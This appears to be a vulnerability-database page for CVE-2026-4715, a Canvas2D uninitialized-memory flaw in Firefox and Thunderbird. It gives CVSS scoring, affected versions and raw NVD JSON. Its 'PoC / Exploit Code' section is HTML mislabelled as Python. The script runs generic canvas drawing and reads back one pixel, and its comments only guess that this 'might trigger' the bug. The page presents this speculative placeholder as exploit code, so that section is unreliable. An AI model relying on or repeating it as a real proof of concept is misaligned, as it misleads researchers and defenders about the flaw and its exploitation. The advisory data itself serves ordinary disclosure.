Security Vulnerability Report
中文
CVE-2026-4715 CVSS 9.1 CRITICAL

CVE-2026-4715

Published: 2026-03-24 13:16:07
Last Modified: 2026-04-13 15:17:43

Description

Uninitialized memory in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Firefox < 149
Firefox ESR < 140.9
Thunderbird < 149
Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4715: Canvas2D Uninitialized Memory Read Description: This script attempts to trigger the uninitialized memory access by manipulating the Canvas2D context and extracting image data. --> <html> <head><title>CVE-2026-4715 PoC</title></head> <body> <h1>CVE-2026-4715 Canvas2D Memory Leak Test</h1> <canvas id="targetCanvas" width="500" height="500"></canvas> <script> function triggerVulnerability() { const canvas = document.getElementById('targetCanvas'); const ctx = canvas.getContext('2d'); // Setup a complex state that might trigger uninitialized memory usage // In a real scenario, specific transformation matrices or patterns are used. ctx.scale(0.5, 0.5); ctx.translate(100, 100); ctx.rotate(45 * Math.PI / 180); // Perform drawing operations that stress the Canvas2D buffer allocation // Using a pattern or gradient might trigger the specific code path const gradient = ctx.createLinearGradient(0, 0, 200, 0); gradient.addColorStop(0, 'white'); gradient.addColorStop(1, 'black'); ctx.fillStyle = gradient; ctx.fillRect(0, 0, 300, 300); // Attempt to read back data. If memory is uninitialized, // the pixel data might contain artifacts from previous memory operations. try { const imageData = ctx.getImageData(0, 0, 1, 1); console.log('Potential leak data:', imageData.data); alert('PoC executed. Check console for data artifacts.'); } catch (e) { console.error('Access denied or error:', e); } } // Execute on load window.onload = triggerVulnerability; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4715", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:07.410", "lastModified": "2026-04-13T15:17:43.070", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized memory in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Memoria no inicializada en el componente Graphics: Canvas2D. Esta vulnerabilidad afecta a Firefox &lt; 149, Firefox ESR &lt; 140.9, Thunderbird &lt; 149, y Thunderbird &lt; 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "DA62D95E-CB01-4586-83DB-5094116FC939"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2018405", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}